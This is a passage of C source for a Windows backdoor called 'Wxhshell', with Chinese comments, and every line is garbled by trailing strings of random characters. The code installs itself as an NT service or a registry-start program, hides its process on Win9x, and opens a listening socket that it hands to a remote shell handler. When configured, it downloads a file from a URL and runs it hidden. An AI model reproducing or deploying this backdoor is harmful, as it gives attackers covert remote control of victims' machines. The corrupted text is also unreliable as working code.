ULONG InheritedFromUniqueProcessId; VYw
vT0
} PROCESS_BASIC_INFORMATION; ERxA79
ZUGuV@&-T
PROCNTQSIP NtQueryInformationProcess; _Eq*
=hE5 ?}EP+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (ov=D7>t0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NJJsg^'
>XzCHtEP
HANDLE hProcess; v4]7"7GuW
PROCESS_BASIC_INFORMATION pbi; d"zbY\`
uv*OiB"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "0Xa?z8"
if(NULL == hInst ) return 0; Bi?.w5
cU}j
Whu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?DP]#9 /4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;{b 1'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ijWwrh
C6Qnn@waYb
if (!NtQueryInformationProcess) return 0; \ZdV|23
TTjj.fq6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *O')
{(
if(!hProcess) return 0; Xh==F:
u@d`$]/>F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c-nBB
4>]^1J7Wz
CloseHandle(hProcess); sW%U3,j
S<^*jheO5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mo%9UL,#W
if(hProcess==NULL) return 0; Zw(*q?9\
#"|Y"#@k
HMODULE hMod; }9T$ XF~
char procName[255]; y7M" Dr%t^
unsigned long cbNeeded; `5}XmSJ?5
$LUNA.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h>B>t/k?
2^ 'X
CloseHandle(hProcess); ;OW`(jC
?_9cFo59:
if(strstr(procName,"services")) return 1; // 以服务启动 |
>xUgpQi
[~$Ji&Dd
return 0; // 注册表启动 $I(2}u?1+d
} #W<D~C[I _
e*gCc7zz
// 主模块 9TGjcZ1S'
int StartWxhshell(LPSTR lpCmdLine) Qxj &IX
{ u?[P@_i<
SOCKET wsl; n y6-_mA]
BOOL val=TRUE; *au&ODa
int port=0; =8OPjcX.V
struct sockaddr_in door; v ?@Ys+V
H?8uy_Sc
if(wscfg.ws_autoins) Install(); "Yw-1h`fR
kE QT[Lo
port=atoi(lpCmdLine); )W9$_<Z
@ -pi
if(port<=0) port=wscfg.ws_port; CFD& -tED&
p1t9s
N,
WSADATA data; "El$Sat`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1fRYXqx
PQAN ,d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NC::;e
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xy`aR< L
door.sin_family = AF_INET; C/dqCUX:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lPm'>,}Y
door.sin_port = htons(port); _[h1SAJ
Cec!{]DL&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YBQO]3f
closesocket(wsl); P(fTlrb
return 1; E@QsuS2&
} *1iJa
drTX
if(listen(wsl,2) == INVALID_SOCKET) { -Zfzl`r
closesocket(wsl); " ^~f.N
return 1; (PU0\bGA
} l'-dB
Wxhshell(wsl); vvw6 GB,M
WSACleanup(); w C]yE\P1
j<!rc>)2+L
return 0; 0}$",M!p
gsufd{{
} Uj}iMw,
Mvoi
// 以NT服务方式启动 sAS\-c'6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \>nPg5OT
{ l<)(iU
DWORD status = 0; ]od]S8$5
DWORD specificError = 0xfffffff; g':mM*j&
P7d" E
serviceStatus.dwServiceType = SERVICE_WIN32; dix\hqZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3EB8ls2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1R9hA7y&,/
serviceStatus.dwWin32ExitCode = 0; LoUi Yf
serviceStatus.dwServiceSpecificExitCode = 0; C)`ZI8
serviceStatus.dwCheckPoint = 0; |mV*HdqU
serviceStatus.dwWaitHint = 0; OtJYr1:y_
pgT{#[=>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &!JX
if (hServiceStatusHandle==0) return; R{)Sv| +`
YcE:KRy
status = GetLastError(); X4*{CM
if (status!=NO_ERROR) mzTF2K
{ [>&Nhn0iY
serviceStatus.dwCurrentState = SERVICE_STOPPED; -tZ2
N
serviceStatus.dwCheckPoint = 0; PH97O`"
serviceStatus.dwWaitHint = 0; hu[=9#''$
serviceStatus.dwWin32ExitCode = status; <9eQ
serviceStatus.dwServiceSpecificExitCode = specificError; Wfkm'BnV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [qlq& ?"
return; mIq6\c$
} ZN5\lon|Y
laqKP+G
serviceStatus.dwCurrentState = SERVICE_RUNNING; |{cdXbr
serviceStatus.dwCheckPoint = 0; /ow/)\/}
serviceStatus.dwWaitHint = 0; |//cA2@.
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sl-LX)*N#
} T=:&W3
g"]%5Ow1
// 处理NT服务事件,比如:启动、停止 YnuC<y
&p
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q?n} ~(%&
{ -cNh5~p=
switch(fdwControl) b")&"o)G2W
{ Ta?#o
case SERVICE_CONTROL_STOP: 5 +:b#B
serviceStatus.dwWin32ExitCode = 0; wlBdA
serviceStatus.dwCurrentState = SERVICE_STOPPED; t`+x5*gW
serviceStatus.dwCheckPoint = 0; gE(QVbh(
serviceStatus.dwWaitHint = 0; 2#C!40j&\
{ UZMo(rG.]{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6,%P6
} o\h[K<^>)
return; WaF<qhu*
case SERVICE_CONTROL_PAUSE: -vwkvNn8
serviceStatus.dwCurrentState = SERVICE_PAUSED; "cRc~4%K
break; r Y|'<$wvg
case SERVICE_CONTROL_CONTINUE: No<2+E!
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4fw>(d(2
break; E*>tFw&[
case SERVICE_CONTROL_INTERROGATE: D<5)i)J"
break; h=YY>
x
}; i68'|4o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $4'I3{$
} 5.F.mUO
_ZIaEJjH/
// 标准应用程序主函数 a kgXI^K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (qlIQC
{ Q[scmP^$^
Df02#493
// 获取操作系统版本 zC!]bWsD
OsIsNt=GetOsVer(); z|F>+6l"Y7
GetModuleFileName(NULL,ExeFile,MAX_PATH); % ~J90a
Fp4eGuWH#
// 从命令行安装 IV;juFw}G
if(strpbrk(lpCmdLine,"iI")) Install(); I:uxj%
F}<&@ 7kF
// 下载执行文件 D}px=?
if(wscfg.ws_downexe) { }\=9l<|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !V$nU8p|
WinExec(wscfg.ws_filenam,SW_HIDE); s
,\w00-:
} Hs~M!eK
_Akc7"
if(!OsIsNt) { ,ZV<o!\
// 如果时win9x,隐藏进程并且设置为注册表启动 _s (0P*
HideProc(); 4O9HoX#-?
StartWxhshell(lpCmdLine); 7xB#) o53
} QE)I7(
else IJx dbuKg
if(StartFromService()) *pw:oTO
// 以服务方式启动 rIo`n2
StartServiceCtrlDispatcher(DispatchTable); HI#}M|4n
else 6g29!F`y
// 普通方式启动 Usk@{
StartWxhshell(lpCmdLine); q`E6hm
0aSN8
return 0; )NRY9\H
}